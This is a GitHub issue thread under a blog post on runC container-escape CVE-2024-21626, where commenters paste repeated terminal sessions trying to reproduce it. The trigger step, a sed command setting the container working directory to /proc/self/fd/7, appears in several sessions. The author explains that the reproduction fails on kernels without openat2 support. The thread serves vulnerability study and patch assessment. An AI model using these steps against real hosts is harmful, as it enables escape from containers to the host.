NitroCao / nitrocao.github.io

My Blog Repository
0 stars 0 forks source link

runC 逃逸漏洞 CVE-2024-21626 详解 #8

Open NitroCao opened 4 months ago

NitroCao commented 4 months ago

https://nitroc.org/posts/cve-2024-21626-illustrated/

gspoolong commented 4 months ago

[root@gsdclient ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 59bf1c3509f3: Pull complete Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300 Status: Downloaded newer image for alpine:latest [root@gsdclient ~]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES [root@gsdclient ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 673b91a50392 alpine "/bin/sh" 11 seconds ago Exited (0) 10 seconds ago helper-ctr 4d639c0854d4 busybox:latest "sh" 3 weeks ago Exited (137) 8 hours ago gsdbox 8491fe19a6ba wcjiang/linux-command:latest "/busybox httpd -f -…" 3 weeks ago Exited (137) 8 hours ago linux-commond [root@gsdclient ~]# docker export helper-ctr --output alpine.tar [root@gsdclient ~]# mkdir rootfs [root@gsdclient ~]# tar xf alpine.tar -C rootfs [root@gsdclient ~]# runc spec [root@gsdclient ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdclient ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdclient ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory

[root@gsdclient ~]# runc --version runc version 1.1.11 commit: v1.1.11-0-g4bccb38 spec: 1.0.2-dev go: go1.20.13 libseccomp: 2.3.1

Please see why it failed?

NitroCao commented 4 months ago

@gspoolong [root@gsdclient ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 59bf1c3509f3: Pull complete Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300 Status: Downloaded newer image for alpine:latest [root@gsdclient ~]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES [root@gsdclient ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 673b91a50392 alpine "/bin/sh" 11 seconds ago Exited (0) 10 seconds ago helper-ctr 4d639c0854d4 busybox:latest "sh" 3 weeks ago Exited (137) 8 hours ago gsdbox 8491fe19a6ba wcjiang/linux-command:latest "/busybox httpd -f -…" 3 weeks ago Exited (137) 8 hours ago linux-commond [root@gsdclient ~]# docker export helper-ctr --output alpine.tar [root@gsdclient ~]# mkdir rootfs [root@gsdclient ~]# tar xf alpine.tar -C rootfs [root@gsdclient ~]# runc spec [root@gsdclient ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdclient ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdclient ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory

[root@gsdclient ~]# runc --version runc version 1.1.11 commit: v1.1.11-0-g4bccb38 spec: 1.0.2-dev go: go1.20.13 libseccomp: 2.3.1

Please see why it failed?

Could you provide which kernel version do you use? Make sure your kernel have openat2 syscall support.

gspoolong commented 4 months ago

@NitroCao

@gspoolong [root@gsdclient ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 59bf1c3509f3: Pull complete Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300 Status: Downloaded newer image for alpine:latest [root@gsdclient ~]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES [root@gsdclient ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 673b91a50392 alpine "/bin/sh" 11 seconds ago Exited (0) 10 seconds ago helper-ctr 4d639c0854d4 busybox:latest "sh" 3 weeks ago Exited (137) 8 hours ago gsdbox 8491fe19a6ba wcjiang/linux-command:latest "/busybox httpd -f -…" 3 weeks ago Exited (137) 8 hours ago linux-commond [root@gsdclient ~]# docker export helper-ctr --output alpine.tar [root@gsdclient ~]# mkdir rootfs [root@gsdclient ~]# tar xf alpine.tar -C rootfs [root@gsdclient ~]# runc spec [root@gsdclient ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdclient ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdclient ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory

[root@gsdclient ~]# runc --version runc version 1.1.11 commit: v1.1.11-0-g4bccb38 spec: 1.0.2-dev go: go1.20.13 libseccomp: 2.3.1

Please see why it failed?

Could you provide which kernel version do you use? Make sure your kernel have openat2 syscall support.

[root@gsdgod ~]# runc --version runc version 1.1.10 commit: v1.1.10-0-g18a0cb0 spec: 1.0.2-dev go: go1.20.10 libseccomp: 2.3.1 [root@gsdgod ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 4abcf2066143: Pull complete Digest: sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b Status: Downloaded newer image for alpine:latest [root@gsdgod ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 9693365df00d alpine "/bin/sh" 6 seconds ago Exited (0) 5 seconds ago helper-ctr b90dbeca2671 wcjiang/linux-command:latest "/busybox httpd -f -…" 2 months ago Exited (137) 2 weeks ago linux-command [root@gsdgod ~]# docker export helper-ctr --output alpine.tar [root@gsdgod ~]# mkdir rootfs [root@gsdgod ~]# tar xf alpine.tar -C rootfs [root@gsdgod ~]# runc spec [root@gsdgod ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdgod ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdgod ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory [root@gsdgod ~]# uname -r 3.10.0-1160.el7.x86_64

The other one has the same error, they have almost the same kernel. How to reproduce the vulnerability?

NitroCao commented 4 months ago

@gspoolong

@NitroCao

@gspoolong [root@gsdclient ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 59bf1c3509f3: Pull complete Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300 Status: Downloaded newer image for alpine:latest [root@gsdclient ~]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES [root@gsdclient ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 673b91a50392 alpine "/bin/sh" 11 seconds ago Exited (0) 10 seconds ago helper-ctr 4d639c0854d4 busybox:latest "sh" 3 weeks ago Exited (137) 8 hours ago gsdbox 8491fe19a6ba wcjiang/linux-command:latest "/busybox httpd -f -…" 3 weeks ago Exited (137) 8 hours ago linux-commond [root@gsdclient ~]# docker export helper-ctr --output alpine.tar [root@gsdclient ~]# mkdir rootfs [root@gsdclient ~]# tar xf alpine.tar -C rootfs [root@gsdclient ~]# runc spec [root@gsdclient ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdclient ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdclient ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory

[root@gsdclient ~]# runc --version runc version 1.1.11 commit: v1.1.11-0-g4bccb38 spec: 1.0.2-dev go: go1.20.13 libseccomp: 2.3.1

Please see why it failed?

Could you provide which kernel version do you use? Make sure your kernel have openat2 syscall support.

[root@gsdgod ~]# runc --version runc version 1.1.10 commit: v1.1.10-0-g18a0cb0 spec: 1.0.2-dev go: go1.20.10 libseccomp: 2.3.1 [root@gsdgod ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 4abcf2066143: Pull complete Digest: sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b Status: Downloaded newer image for alpine:latest [root@gsdgod ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 9693365df00d alpine "/bin/sh" 6 seconds ago Exited (0) 5 seconds ago helper-ctr b90dbeca2671 wcjiang/linux-command:latest "/busybox httpd -f -…" 2 months ago Exited (137) 2 weeks ago linux-command [root@gsdgod ~]# docker export helper-ctr --output alpine.tar [root@gsdgod ~]# mkdir rootfs [root@gsdgod ~]# tar xf alpine.tar -C rootfs [root@gsdgod ~]# runc spec [root@gsdgod ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdgod ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdgod ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory [root@gsdgod ~]# uname -r 3.10.0-1160.el7.x86_64

The other one has the same error, they have almost the same kernel. How to reproduce the vulnerability?

Your kernel 3.10.0-1160.el7.x86_64 doesn't have openat2 syscall support, so runC is not vulnerable. Please read How the Vulnerability Happens section for the reason. Use grep openat2 /proc/kallsyms to check if your kernel supports openat2 syscall:

$ grep openat2 /proc/kallsyms
0000000000000000 T __pfx___audit_openat2_how
0000000000000000 T __audit_openat2_how
0000000000000000 t __pfx_do_sys_openat2
0000000000000000 t do_sys_openat2
0000000000000000 T __pfx___ia32_sys_openat2
0000000000000000 T __ia32_sys_openat2
0000000000000000 T __pfx___x64_sys_openat2
0000000000000000 T __x64_sys_openat2
...

Use kernels which version are greater than or equal to 5.6 to reproduce this CVE.

gspoolong commented 4 months ago

@gspoolong

@NitroCao

@gspoolong [root@gsdclient ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 59bf1c3509f3: Pull complete Digest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300 Status: Downloaded newer image for alpine:latest [root@gsdclient ~]# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES [root@gsdclient ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 673b91a50392 alpine "/bin/sh" 11 seconds ago Exited (0) 10 seconds ago helper-ctr 4d639c0854d4 busybox:latest "sh" 3 weeks ago Exited (137) 8 hours ago gsdbox 8491fe19a6ba wcjiang/linux-command:latest "/busybox httpd -f -…" 3 weeks ago Exited (137) 8 hours ago linux-commond [root@gsdclient ~]# docker export helper-ctr --output alpine.tar [root@gsdclient ~]# mkdir rootfs [root@gsdclient ~]# tar xf alpine.tar -C rootfs [root@gsdclient ~]# runc spec [root@gsdclient ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdclient ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdclient ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory [root@gsdclient ~]# runc --version runc version 1.1.11 commit: v1.1.11-0-g4bccb38 spec: 1.0.2-dev go: go1.20.13 libseccomp: 2.3.1 Please see why it failed?

Could you provide which kernel version do you use? Make sure your kernel have openat2 syscall support.

[root@gsdgod ~]# runc --version runc version 1.1.10 commit: v1.1.10-0-g18a0cb0 spec: 1.0.2-dev go: go1.20.10 libseccomp: 2.3.1 [root@gsdgod ~]# docker run --name helper-ctr alpine Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine 4abcf2066143: Pull complete Digest: sha256:c5b1261d6d3e43071626931fc004f70149baeba2c8ec672bd4f27761f8e1ad6b Status: Downloaded newer image for alpine:latest [root@gsdgod ~]# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 9693365df00d alpine "/bin/sh" 6 seconds ago Exited (0) 5 seconds ago helper-ctr b90dbeca2671 wcjiang/linux-command:latest "/busybox httpd -f -…" 2 months ago Exited (137) 2 weeks ago linux-command [root@gsdgod ~]# docker export helper-ctr --output alpine.tar [root@gsdgod ~]# mkdir rootfs [root@gsdgod ~]# tar xf alpine.tar -C rootfs [root@gsdgod ~]# runc spec [root@gsdgod ~]# sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json [root@gsdgod ~]# grep cwd config.json "cwd": "/proc/self/fd/7", [root@gsdgod ~]# runc --log ./log.json run demo runc run failed: unable to start container process: error during container init: mkdir /proc/self/fd/7: no such file or directory [root@gsdgod ~]# uname -r 3.10.0-1160.el7.x86_64 The other one has the same error, they have almost the same kernel. How to reproduce the vulnerability?

Your kernel 3.10.0-1160.el7.x86_64 doesn't have openat2 syscall support, so runC is not vulnerable. Please read How the Vulnerability Happens section for the reason. Use grep openat2 /proc/kallsyms to check if your kernel supports openat2 syscall:

$ grep openat2 /proc/kallsyms
0000000000000000 T __pfx___audit_openat2_how
0000000000000000 T __audit_openat2_how
0000000000000000 t __pfx_do_sys_openat2
0000000000000000 t do_sys_openat2
0000000000000000 T __pfx___ia32_sys_openat2
0000000000000000 T __ia32_sys_openat2
0000000000000000 T __pfx___x64_sys_openat2
0000000000000000 T __x64_sys_openat2
...

Use kernels which version are greater than or equal to 5.6 to reproduce this CVE. So my system doesn't need to upgrade runc. Thank you very much for your answer, God bless you.

mikewojtanowicz commented 4 months ago

Can this still be exploited inside a GitHub actions runner within an image managed by a k8s actions runner controller? https://github.com/actions/actions-runner-controller what about a GitHub workflow to run jobs on said container?

NitroCao commented 4 months ago

@mikewojtanowicz Can this still be exploited inside a GitHub actions runner within an image managed by a k8s actions runner controller? https://github.com/actions/actions-runner-controller what about a GitHub workflow to run jobs on said container?

Currently I've neither available resource nor time to test the scenario :(

Tomerkat commented 3 months ago

Can this be exploited from an already existing container, without a workdir already set? Can the workdir be set while the container is already running?